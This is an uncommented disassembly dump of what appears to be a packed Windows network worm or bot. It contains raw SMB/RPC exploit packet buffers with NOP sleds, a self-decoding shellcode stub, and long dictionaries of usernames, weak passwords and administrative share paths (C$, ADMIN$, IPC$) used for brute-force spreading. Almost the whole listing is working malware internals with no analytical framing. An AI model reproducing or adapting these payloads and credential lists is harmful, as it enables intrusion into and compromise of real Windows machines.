dword_4160A0 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: .packed:0040C824o
dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0
dd 20000000h, 0
dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
dd 4 dup(0)
aWindows20002_0:
unicode 0, <Windows 2000 2195>,0
aWindows20005_1:
unicode 0, <Windows 2000 5.0>,0
align 4
dd 0
dword_41614C dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: .packed:0040C852o
dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0
dd 57000000h, 0
dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
dd 0
dd 47000000h, 0
dd 40000000h, 0
dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h
dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h
dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h
dd 2E0035h, 30h, 0
dword_41622C dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0)
; DATA XREF: .packed:0040C885o
dd 0AB80000h, 46300800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch
dd 244350h, 3F3F3F3Fh, 3Fh
dword_41626C dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
; DATA XREF: .packed:0040C8BEo
dd 4DC0800h, 400800h, 0DE00FF18h, 800DEh, 16h, 0
dd 2019Fh, 3 dup(0)
dd 3, 1, 40h, 2, 5C000903h, 574F5242h, 524553h, 0
dword_4162D0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: .packed:0040C8ECo
dd 4DC0800h, 500800h, 48000010h, 0
dd 4, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h
dd 5C0045h, 0
dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh
dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_416374 dd 66030000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
; DATA XREF: .packed:0040C937o
dd 3900800h, 3C1D0800h, 1C000010h, 0E0040003h, 0FFh, 2 dup(0)
dd 1C004A00h, 2004A03h, 2600h, 5C032340h, 45504950h, 5005Ch
dd 100300h, 31C0000h, 0
dd 3040000h, 0
dd 4221001Fh, 184E8h, 0
dd 10000h, 0
dd 1630000h, 0
dd 1630000h, 0
dword_4163FC dd 0 ; DATA XREF: .packed:0040C9B0o
dd 0D7h, 1, 0
dd 1, 0
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
align 10h
dword_416420 dd 0CA040000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
; DATA XREF: .packed:0040CA10o
dd 1C80800h, 7CC90800h, 80000010h, 0E0040004h, 0FFh, 2 dup(0)
dd 80004A00h, 2004A04h, 2600h, 5C048740h, 45504950h, 5005Ch
dd 100300h, 4800000h, 0
dd 4680000h, 0
dd 72B3001Fh, 1A381h, 0
dd 10000h, 0
dd 2150000h, 0
dd 2150000h, 0
dword_4164A8 dd 0 ; DATA XREF: .packed:0040CA7Ao
dd 85h, 2, 0
dd 2, 2EBh, 85h, 2 dup(0)
dword_4164CC dd 20804h, 0 ; DATA XREF: .packed:0040C982o
; .packed:0040CA5Bo
dword_4164D4 dd 2080Ah, 0 ; DATA XREF: .packed:0040C977o
dword_4164DC dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
; DATA XREF: sub_40CAA1+4Eo
dd 0FEFF0000h, 0
dd 2006200h
aPcNetworkPro_1 db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWor_1 db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_416568 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40CAA1+9Do
dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0
dd 20000000h, 0
dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
dd 4 dup(0)
aWindows20002_1:
unicode 0, <Windows 2000 2195>,0
aWindows20005_2:
unicode 0, <Windows 2000 5.0>,0
align 10h
dd 0
dword_416614 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40CAA1+D5o
dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0
dd 57000000h, 0
dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
dd 0
dd 47000000h, 0
dd 40000000h, 0
dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h
dd 15000000h, 48E0888Ah, 44004F00h, 41ED0000h, 2686272Ch
dd 0B3A059D2h, 8800AA5Eh, 57C56Fh, 6E0069h, 6F0064h, 730077h
dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h
dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h
dd 2E0035h, 30h, 0
dword_4166F4 dd 5A000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40CAA1+11Do
dd 0FEFF0000h, 300800h, 5A00FF04h, 1000800h, 2F00h, 0
dword_416728 dd 3F3F0000h, 3F3F3Fh, 0 ; DATA XREF: sub_40CAA1+15Fo
dword_416734 dd 66000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40CAA1+1DAo
dd 4780800h, 400800h, 0DE00FF18h, 1000DEh, 16h, 0
dd 2019Fh, 4 dup(0)
dd 1, 40h, 2, 1303h, 62005Ch, 6F0072h, 730077h, 720065h
dd 0
dword_4167A0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40CAA1+21Fo
dd 4780800h, 500800h, 48000010h, 0
dd 10h, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 5940h, 50005Ch, 500049h
dd 5C0045h, 400000h, 30B0005h, 10h, 48h, 1, 10B810B8h
dd 0
dd 1, 10000h, 8D9F4E40h, 11CEA03Dh, 8698Fh, 1B05303Eh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_416844 dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40CAA1+280o
dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0)
dd 3C005400h, 2005408h, 2600h, 84D40h, 50005Ch, 500049h
dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h
dd 11h, 0
dd 11h, 4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh
dd 2 dup(300030h), 0
dd 0FFFFh, 7E0h, 2 dup(0)
dd 7C0h, 0
db 8 dup(90h)
; ---------------------------------------------------------------------------
jmp short loc_41690E
; ---------------------------------------------------------------------------
align 4
dd 767A1567h
; ---------------------------------------------------------------------------
jmp short loc_416916
; ---------------------------------------------------------------------------
loc_41690E: ; CODE XREF: .packed:00416904j
nop
nop
db 67h
adc eax, 8EB767Ah
loc_416916: ; CODE XREF: .packed:0041690Cj
nop
nop
db 67h
adc eax, 8EB767Ah
nop
nop
db 67h
adc eax, 8EB767Ah
nop
nop
db 67h
adc eax, 8EB767Ah
nop
nop
db 67h
adc eax, 8EB767Ah
nop
nop
db 67h
adc eax, 8EB767Ah
nop
nop
db 67h
adc eax, 8EB767Ah
nop
nop
db 67h
adc eax, 8EB767Ah
nop
nop
db 67h
adc eax, 9090767Ah
nop
nop
nop
nop
nop
jmp short loc_416965
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 48h
dd 9088444Fh
db 90h
; ---------------------------------------------------------------------------
loc_416965: ; CODE XREF: .packed:0041695Bj
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
; ---------------------------------------------------------------------------
dd 0
dword_416978 dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40CAA1:loc_40CD28o
dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0)
dd 3C005400h, 2005408h, 2600h, 84D40h, 50005Ch, 500049h
dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h
dd 11h, 0
dd 11h, 4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh
dd 2 dup(300030h), 0
dd 0FFFFh, 7E0h, 2 dup(0)
dd 7C0h, 0
db 8 dup(90h)
; ---------------------------------------------------------------------------
jmp short loc_416A42
; ---------------------------------------------------------------------------
align 4
dd 767A1567h
; ---------------------------------------------------------------------------
jmp short loc_416A4A
; ---------------------------------------------------------------------------
loc_416A42: ; CODE XREF: .packed:00416A38j
nop
nop
db 67h
adc eax, 8EB767Ah
loc_416A4A: ; CODE XREF: .packed:00416A40j
nop
nop
db 67h
adc eax, 8EB767Ah
nop
nop
db 67h
adc eax, 8EB767Ah
nop
nop
db 67h
adc eax, 8EB767Ah
nop
nop
db 67h
adc eax, 8EB767Ah
nop
nop
db 67h
adc eax, 8EB767Ah
nop
nop
db 67h
adc eax, 8EB767Ah
nop
nop
jns short near ptr word_416ABA
add [ecx], eax
jmp short loc_416A8A
; ---------------------------------------------------------------------------
align 4
dd 767A1567h
db 2 dup(90h)
; ---------------------------------------------------------------------------
loc_416A8A: ; CODE XREF: .packed:00416A80j
nop
nop
nop
nop
nop
jmp short loc_416A99
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 48h
dd 9088444Fh
db 90h
; ---------------------------------------------------------------------------
loc_416A99: ; CODE XREF: .packed:00416A8Fj
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
; ---------------------------------------------------------------------------
dd 0
dword_416AAC dd 7E0h, 4, 0 ; DATA XREF: sub_40CAA1+2B9o
db 2 dup(0)
word_416ABA dw 0 ; CODE XREF: .packed:00416A7Cj
align 10h
dword_416AC0 dd 0D0EC8166h, 7 ; DATA XREF: sub_40CEBE+D9o
dword_416AC8 dd 129F74h, 0 ; DATA XREF: sub_40CEBE+380o
dword_416AD0 dd 127D78h, 0 ; DATA XREF: sub_40CEBE+3E5o
; =============== S U B R O U T I N E =======================================
sub_416AD8 proc near ; DATA XREF: sub_40CEBE+10Bo
; FUNCTION CHUNK AT 00416ADE SIZE 00000049 BYTES
pusha
jmp short loc_416ADE
sub_416AD8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_416ADB proc near ; CODE XREF: sub_416AD8:loc_416ADEp
pop ebx
push ebx
retn
sub_416ADB endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_416AD8
loc_416ADE: ; CODE XREF: sub_416AD8+1j
call sub_416ADB
xor eax, eax
add al, 34h
add eax, ebx
push eax
pop ebx
loc_416AEB: ; CODE XREF: sub_416AD8+3Cj
xor edx, edx
add dl, [eax]
inc eax
add dh, [eax]
inc eax
push eax
xor eax, eax
add al, 41h
sub dl, al
sub dh, al
shl dl, 4
shr dx, 4
xor eax, eax
xor dh, dh
add al, [ebx]
sub [ebx], al
add [ebx], dx
inc ebx
pop eax
xor ecx, ecx
add cl, [eax]
loopne loc_416AEB
popa
loc_416B17: ; DATA XREF: sub_40CEBE+EAr
add [ebx+31h], al
loc_416B1A: ; DATA XREF: sub_40CEBE+E4r
mov ebp, 7FC77h
loc_416B1F: ; DATA XREF: sub_40CEBE:loc_40D1D9r
; sub_40CEBE+348r ...
add [ecx], al
inc ebx
loc_416B22: ; CODE XREF: sub_416AD8+4Cj
xor eax, eax
ja short loc_416B22
pop es
; END OF FUNCTION CHUNK FOR sub_416AD8
; ---------------------------------------------------------------------------
db 0
dd 4F020100h, 7E7655Bh, 0
dd 195h
dword_416B38 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: sub_40CEBE+2CDo
dword_416B4C dd 6BFFD098h, 3610A112h, 0C3463398h, 5A347EF8h, 0
; DATA XREF: sub_40CEBE+29Eo
dword_416B60 dd 65706970h, 736B775Ch, 637673h ; DATA XREF: sub_40CEBE+236o
dword_416B6C dd 24637069h, 0 ; DATA XREF: sub_40CEBE+1DFo
dword_416B74 dd 73255C5Ch, 5Ch ; DATA XREF: sub_40CEBE+1CCo
; sub_40CEBE+223o
dword_416B7C dd 2Eh ; DATA XREF: sub_40CEBE+1AFo
dword_416B80 dd 73255C5Ch, 0 ; DATA XREF: sub_40CEBE+18Fo
dword_416B88 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_40D42D+ADo
dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_416BD4 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_40D42D+F2o
; ---------------------------------------------------------------------------
loc_416BF0: ; DATA XREF: sub_40D42D+124o
mov al, 1
push edx
xchg eax, edi
retf 0D059h
; ---------------------------------------------------------------------------
db 11h
dd 0A000D5A8h, 51800DC9h, 0
dword_416C04 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
; DATA XREF: sub_40D42D+14Do
a5000 db '5000',0 ; DATA XREF: sub_40D42D+28o
align 10h
byte_416C20 db 90h ; DATA XREF: sub_40D5A8+1Er
; sub_40D5A8+49r ...
dword_416C21 dd 0 ; DATA XREF: sub_40D5A8+77r
db 9Eh, 2 dup(0)
dd 0F50000h, 0F8000000h, 0
dd 0F9h, 0FC00h, 1270000h, 2F000000h, 1, 137h, 13F00h
dd 1400000h, 41000000h, 4, 842h, 24300h, 40450000h, 46000000h
dd 10h, 2047h, 14800h, 4490000h, 4A000000h, 8, 24Bh, 404D00h
dd 104E0000h, 4F000000h, 20h, 198h, 19F00h, 5910000h, 92000000h
dd 9, 393h, 419500h, 11960000h, 97000000h, 21h, 999h, 0
dd offset aAdministrator ; "administrator"
dd offset aAdministrador ; "administrador"
dd offset aAdministrateur ; "administrateur"
dd offset aAdministrat ; "administrat"
dd offset aAdmins ; "admins"
dd offset aAdmin ; "admin"
dd offset aAdm ; "adm"
dd offset aComputer ; "computer"
dd offset aUnix ; "unix"
dd offset aLinux ; "linux"
dd offset aSystem ; "system"
dd offset aServer_0 ; "server"
dd offset aRoot ; "root"
dd offset aWeb ; "web"
dd offset aWww ; "www"
dd offset aInternet ; "internet"
dd offset aHome ; "home"
dd offset aHomeuser ; "homeuser"
dd offset aUser ; "user"
dd offset aOemuser ; "oemuser"
dd offset aWwwadmin ; "wwwadmin"
dd offset aBob ; "bob"
dd offset aJen ; "jen"
dd offset aJoe ; "joe"
dd offset aFred ; "fred"
dd offset aBill ; "bill"
dd offset aMike ; "mike"
dd offset aJohn ; "john"
dd offset aPeter ; "peter"
dd offset aLuke ; "luke"
dd offset aSam ; "sam"
dd offset aSue ; "sue"
dd offset aSusan ; "susan"
dd offset aPeter ; "peter"
dd offset aBrian ; "brian"
dd offset aLee ; "lee"
dd offset aNeil ; "neil"
dd offset aIan ; "ian"
dd offset aChris ; "chris"
dd offset aGuest ; "guest"
dd offset aNone ; "none"
dd offset aEric ; "eric"
dd offset aGeorge ; "george"
dd offset aKate ; "kate"
dd offset aBob ; "bob"
dd offset aKatie ; "katie"
dd offset aMary ; "mary"
dd offset aTechnical ; "technical"
dd offset aBackup ; "backup"
dd offset aGod ; "god"
dd offset aDomain ; "domain"
dd offset aDatabase ; "database"
dd offset aAccess ; "access"
dd offset aData ; "data"
dd offset aSa ; "sa"
dd offset aSql ; "sql"
dd offset aOracle ; "oracle"
dd offset aIbm ; "ibm"
dd offset aCisco ; "cisco"
dd offset aDell ; "dell"
dd offset aCompaq ; "compaq"
dd offset aSiemens ; "siemens"
dd offset aControl ; "control"
dd offset aOffice ; "office"
dd offset aMain ; "main"
dd offset aLan_0 ; "lan"
dd offset aInternet ; "internet"
dd offset aIntranet ; "intranet"
dd offset aStudent ; "student"
dd offset aOwner ; "owner"
dd offset aTeacher ; "teacher"
dd offset aStaff ; "staff"
dd 0
dd offset aC_1 ; "c$"
dd offset aD ; "d$"
dd offset aE_0 ; "e$"
dd offset aCShared ; "c$\\shared"
dd offset aDShared ; "d$\\shared"
dd offset aEShared ; "e$\\shared"
dd offset aCWinnt ; "c$\\winnt"
dd offset aCWindows ; "c$\\windows"
dd offset aCWinntSystem32 ; "c$\\winnt\\system32"
dd offset aCWindowsSystem ; "c$\\windows\\system32"
dd offset aAdminSystem32 ; "Admin$\\system32"
dd offset aAdmin_0 ; "admin$"
dd offset aCDocumentsAndS ; "C$\\Documents and Settings\\All Users\\Doc"...
dd offset aPrint ; "print$"
dd offset aIpc ; "IPC$"
dd 0
dd offset byte_4191D0
dd offset aAdministrator ; "administrator"
dd offset aAdministrador ; "administrador"
dd offset aAdministrateur ; "administrateur"
dd offset aAdministrat ; "administrat"
dd offset aAdmins ; "admins"
dd offset aAdmin ; "admin"
dd offset aAdm ; "adm"
dd offset aA_1 ; "a"
dd offset aAb ; "ab"
dd offset aAbc ; "abc"
dd offset aPassword1 ; "password1"
dd offset aPassword ; "password"
dd offset aPasswd ; "passwd"
dd offset aDba ; "dba"
dd offset aPass1234 ; "pass1234"
dd offset aPass ; "pass"
dd offset aPwd ; "pwd"
dd offset a007 ; "007"
dd offset a1 ; "1"
dd offset a12 ; "12"
dd offset a123 ; "123"
dd offset a1234 ; "1234"
dd offset a12345 ; "12345"
dd offset a123456 ; "123456"
dd offset a1234567 ; "1234567"
dd offset a12345678 ; "12345678"
dd offset a123456789 ; "123456789"
dd offset a1234567890 ; "1234567890"
dd offset aWork ; "work"
dd offset aDeadline ; "deadline"
dd offset aPayday ; "payday"
dd offset aSecret ; "secret"
dd offset a2000 ; "2000"
dd offset a2001 ; "2001"
dd offset a2002 ; "2002"
dd offset a2003 ; "2003"
dd offset a2004 ; "2004"
dd offset a2005 ; "2005"
dd offset aTest ; "test"
dd offset aGuest ; "guest"
dd offset aNone ; "none"
dd offset aDemo ; "demo"
dd offset aComputer ; "computer"
dd offset aUnix ; "unix"
dd offset aLinux ; "linux"
dd offset aChangeme ; "changeme"
dd offset aDefault ; "default"
dd offset aSystem ; "system"
dd offset aServer_0 ; "server"
dd offset aRoot ; "root"
dd offset aNull ; "null"
dd offset aTemp ; "temp"
dd offset aTemp123 ; "temp123"
dd offset aQwerty ; "qwerty"
dd offset aMail ; "mail"
dd offset aOutlook ; "outlook"
dd offset aWeb ; "web"
dd offset aWww ; "www"
dd offset aInternet ; "internet"
dd offset aSex ; "sex"
dd offset aLetmein ; "letmein"
dd offset aAccounts ; "accounts"
dd offset aAccounting ; "accounting"
dd offset aHome ; "home"
dd offset aHomeuser ; "homeuser"
dd offset aUser ; "user"
dd offset aOem ; "oem"
dd offset aOemuser ; "oemuser"
dd offset aOeminstall ; "oeminstall"
dd offset aWwwadmin ; "wwwadmin"
dd offset aWindows ; "windows"
dd offset aWin98 ; "win98"
dd offset aWin2k ; "win2k"
dd offset aWinxp ; "winxp"
dd offset aWinnt ; "winnt"
dd offset aWin2000 ; "win2000"
dd offset aQaz ; "qaz"
dd offset aAsd ; "asd"
dd offset aZxc ; "zxc"
dd offset aQwe ; "qwe"
dd offset aBob ; "bob"
dd offset aJen ; "jen"
dd offset aJoe ; "joe"
dd offset aFred ; "fred"
dd offset aBill ; "bill"
dd offset aMike ; "mike"
dd offset aJohn ; "john"
dd offset aPeter ; "peter"
dd offset aLuke ; "luke"
dd offset aSam ; "sam"
dd offset aSue ; "sue"
dd offset aSusan ; "susan"
dd offset aPeter ; "peter"
dd offset aBrian ; "brian"
dd offset aLee ; "lee"
dd offset aNeil ; "neil"
dd offset aIan ; "ian"
dd offset aChris ; "chris"
dd offset aEric ; "eric"
dd offset aGeorge ; "george"
dd offset aKate ; "kate"
dd offset aBob ; "bob"
dd offset aKatie ; "katie"
dd offset aMary ; "mary"
dd offset aLogin ; "login"
dd offset aLoginpass ; "loginpass"
dd offset aTechnical ; "technical"
dd offset aBackup ; "backup"
dd offset aExchange ; "exchange"
dd offset aFuck ; "fuck"
dd offset aBitch ; "bitch"
dd offset aSlut ; "slut"
dd offset aSex ; "sex"
dd offset aGod ; "god"
dd offset aMoney ; "money"
dd offset aLove ; "love"
dd offset aHell ; "hell"
dd offset aHello ; "hello"
dd offset aDomain ; "domain"
dd offset aDomainpass ; "domainpass"
dd offset aDomainpassword ; "domainpassword"
dd offset aDatabase ; "database"
dd offset aAccess ; "access"
dd offset aDbpass ; "dbpass"
dd offset aDbpassword ; "dbpassword"
dd offset aDatabasepass ; "databasepass"
dd offset aData ; "data"
dd offset aDatabasepasswo ; "databasepassword"
dd offset aDb1 ; "db1"
dd offset aDb2 ; "db2"
dd offset aDb1234 ; "db1234"
dd offset aSa ; "sa"
dd offset aSql ; "sql"
dd offset aSqlpassoainsta ; "sqlpassoainstall"
dd offset aOrainstall ; "orainstall"
dd offset aOracle ; "oracle"
dd offset aIbm ; "ibm"
dd offset aCisco ; "cisco"
dd offset aDell ; "dell"
dd offset aCompaq ; "compaq"
dd offset aSiemens ; "siemens"
dd offset aHp ; "hp"
dd offset aNokia ; "nokia"
dd offset aXp_0 ; "xp"
dd offset aControl ; "control"
dd offset aOffice ; "office"
dd offset aBlank ; "blank"
dd offset aWinpass ; "winpass"
dd offset aMain ; "main"
dd offset aLan_0 ; "lan"
dd offset aInternet ; "internet"
dd offset aIntranet ; "intranet"
dd offset aStudent ; "student"
dd offset aOwner ; "owner"
dd offset aTeacher ; "teacher"
dd offset aStaff ; "staff"
dd 0
aWinpass db 'winpass',0 ; DATA XREF: .packed:0041707Co
aBlank db 'blank',0 ; DATA XREF: .packed:00417078o
align 4
aXp_0 db 'xp',0 ; DATA XREF: .packed:0041706Co
align 4
aNokia db 'nokia',0 ; DATA XREF: .packed:00417068o
align 10h
aHp db 'hp',0 ; DATA XREF: .packed:00417064o
align 4
aOrainstall db 'orainstall',0 ; DATA XREF: .packed:00417048o
align 10h
aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: .packed:00417044o
align 4
aDb1234 db 'db1234',0 ; DATA XREF: .packed:00417038o
align 4
aDb2 db 'db2',0 ; DATA XREF: .packed:00417034o
aDb1 db 'db1',0 ; DATA XREF: .packed:00417030o
aDatabasepasswo db 'databasepassword',0 ; DATA XREF: .packed:0041702Co
align 4
aDatabasepass db 'databasepass',0 ; DATA XREF: .packed:00417024o
align 4
aDbpassword db 'dbpassword',0 ; DATA XREF: .packed:00417020o
align 4
aDbpass db 'dbpass',0 ; DATA XREF: .packed:0041701Co
align 4
aDomainpassword db 'domainpassword',0 ; DATA XREF: .packed:00417010o
align 4
aDomainpass db 'domainpass',0 ; DATA XREF: .packed:0041700Co
align 4
aHello db 'hello',0 ; DATA XREF: .packed:00417004o
align 10h
aHell db 'hell',0 ; DATA XREF: .packed:00417000o
align 4
aLove db 'love',0 ; DATA XREF: .packed:00416FFCo
align 10h
aMoney db 'money',0 ; DATA XREF: .packed:00416FF8o
align 4
aSlut db 'slut',0 ; DATA XREF: .packed:00416FECo
align 10h
aBitch db 'bitch',0 ; DATA XREF: .packed:00416FE8o
align 4
aFuck db 'fuck',0 ; DATA XREF: .packed:00416FE4o
align 10h
aExchange db 'exchange',0 ; DATA XREF: .packed:00416FE0o
align 4
aLoginpass db 'loginpass',0 ; DATA XREF: .packed:00416FD4o
align 4
aLogin db 'login',0 ; DATA XREF: .packed:00416FD0o
align 10h
aQwe db 'qwe',0 ; DATA XREF: .packed:00416F6Co
aZxc db 'zxc',0 ; DATA XREF: .packed:00416F68o
aAsd db 'asd',0 ; DATA XREF: .packed:00416F64o
aQaz db 'qaz',0 ; DATA XREF: .packed:00416F60o
aWin2000 db 'win2000',0 ; DATA XREF: .packed:00416F5Co
aWinnt db 'winnt',0 ; DATA XREF: .packed:00416F58o
align 10h
aWinxp db 'winxp',0 ; DATA XREF: .packed:00416F54o
align 4
aWin2k db 'win2k',0 ; DATA XREF: .packed:00416F50o
align 10h
aWin98 db 'win98',0 ; DATA XREF: .packed:00416F4Co
align 4
aWindows db 'windows',0 ; DATA XREF: .packed:00416F48o
aOeminstall db 'oeminstall',0 ; DATA XREF: .packed:00416F40o
align 4
aOem db 'oem',0 ; DATA XREF: .packed:00416F38o
aAccounting db 'accounting',0 ; DATA XREF: .packed:00416F28o
align 4
aAccounts db 'accounts',0 ; DATA XREF: .packed:00416F24o
align 4
aLetmein db 'letmein',0 ; DATA XREF: .packed:00416F20o
aSex db 'sex',0 ; DATA XREF: .packed:00416F1Co
; .packed:00416FF0o
aOutlook db 'outlook',0 ; DATA XREF: .packed:00416F0Co
aMail db 'mail',0 ; DATA XREF: .packed:00416F08o
align 4
aQwerty db 'qwerty',0 ; DATA XREF: .packed:00416F04o
align 4
aTemp123 db 'temp123',0 ; DATA XREF: .packed:00416F00o
aTemp db 'temp',0 ; DATA XREF: .packed:00416EFCo
align 4
aNull db 'null',0 ; DATA XREF: .packed:00416EF8o
align 4
aDefault db 'default',0 ; DATA XREF: .packed:00416EE8o
aChangeme db 'changeme',0 ; DATA XREF: .packed:00416EE4o
align 4
aDemo db 'demo',0 ; DATA XREF: .packed:00416ED4o
align 10h
aTest db 'test',0 ; DATA XREF: .packed:00416EC8o
align 4
a2005 db '2005',0 ; DATA XREF: .packed:00416EC4o
align 10h
a2004 db '2004',0 ; DATA XREF: .packed:00416EC0o
align 4
a2001 db '2001',0 ; DATA XREF: .packed:00416EB4o
align 10h
aSecret db 'secret',0 ; DATA XREF: .packed:00416EACo
align 4
aPayday db 'payday',0 ; DATA XREF: .packed:00416EA8o
align 10h
aDeadline db 'deadline',0 ; DATA XREF: .packed:00416EA4o
align 4
aWork db 'work',0 ; DATA XREF: .packed:00416EA0o
align 4
a1234567890 db '1234567890',0 ; DATA XREF: .packed:00416E9Co
align 10h
a123456789 db '123456789',0 ; DATA XREF: .packed:00416E98o
align 4
a12345678 db '12345678',0 ; DATA XREF: .packed:00416E94o
align 4
a1234567 db '1234567',0 ; DATA XREF: .packed:00416E90o
a123456 db '123456',0 ; DATA XREF: .packed:00416E8Co
align 4
a12345 db '12345',0 ; DATA XREF: .packed:00416E88o
align 10h
a1234 db '1234',0 ; DATA XREF: .packed:00416E84o
align 4
a123 db '123',0 ; DATA XREF: .packed:00416E80o
a12 db '12',0 ; DATA XREF: .packed:00416E7Co
align 10h
a1: ; DATA XREF: .packed:00416E78o
unicode 0, <1>,0
a007 db '007',0 ; DATA XREF: .packed:00416E74o
aPwd db 'pwd',0 ; DATA XREF: .packed:00416E70o
aPass db 'pass',0 ; DATA XREF: .packed:00416E6Co
align 4
aPass1234 db 'pass1234',0 ; DATA XREF: .packed:00416E68o
align 10h
aDba db 'dba',0 ; DATA XREF: .packed:00416E64o
aPasswd db 'passwd',0 ; DATA XREF: .packed:00416E60o
align 4
aPassword db 'password',0 ; DATA XREF: .packed:00416E5Co
; .packed:00418B48o
align 4
aPassword1 db 'password1',0 ; DATA XREF: .packed:00416E58o
align 4
aAbc db 'abc',0 ; DATA XREF: .packed:00416E54o
aAb db 'ab',0 ; DATA XREF: .packed:00416E50o
align 4
aA_1: ; DATA XREF: .packed:00416E4Co
unicode 0, <a>,0
aIpc db 'IPC$',0 ; DATA XREF: .packed:00416E24o
align 4
aPrint db 'print$',0 ; DATA XREF: .packed:00416E20o
align 10h
aCDocumentsAndS db 'C$\Documents and Settings\All Users\Documents\$',0
; DATA XREF: .packed:00416E1Co
aAdmin_0 db 'admin$',0 ; DATA XREF: .packed:00416E18o
align 4
aAdminSystem32 db 'Admin$\system32',0 ; DATA XREF: .packed:00416E14o
aCWindowsSystem db 'c$\windows\system32',0 ; DATA XREF: .packed:00416E10o
aCWinntSystem32 db 'c$\winnt\system32',0 ; DATA XREF: .packed:00416E0Co
align 10h
aCWindows db 'c$\windows',0 ; DATA XREF: .packed:00416E08o
align 4
aCWinnt db 'c$\winnt',0 ; DATA XREF: .packed:00416E04o
align 4
aEShared db 'e$\shared',0 ; DATA XREF: .packed:00416E00o
align 4
aDShared db 'd$\shared',0 ; DATA XREF: .packed:00416DFCo
align 10h
aCShared db 'c$\shared',0 ; DATA XREF: .packed:00416DF8o
align 4
aE_0 db 'e$',0 ; DATA XREF: .packed:00416DF4o
align 10h
aD db 'd$',0 ; DATA XREF: .packed:00416DF0o
align 4
aC_1 db 'c$',0 ; DATA XREF: .packed:00416DECo
align 4
aStaff db 'staff',0 ; DATA XREF: .packed:00416DE4o
; .packed:0041709Co
align 10h
aTeacher db 'teacher',0 ; DATA XREF: .packed:00416DE0o
; .packed:00417098o
aOwner db 'owner',0 ; DATA XREF: .packed:00416DDCo
; .packed:00417094o
align 10h
aStudent db 'student',0 ; DATA XREF: .packed:00416DD8o
; .packed:00417090o
aIntranet db 'intranet',0 ; DATA XREF: .packed:00416DD4o
; .packed:0041708Co
align 4
aLan_0 db 'lan',0 ; DATA XREF: .packed:00416DCCo
; .packed:00417084o
aMain db 'main',0 ; DATA XREF: sub_4111E8+25Do
; .packed:00411479o ...
align 10h
aOffice db 'office',0 ; DATA XREF: .packed:00416DC4o
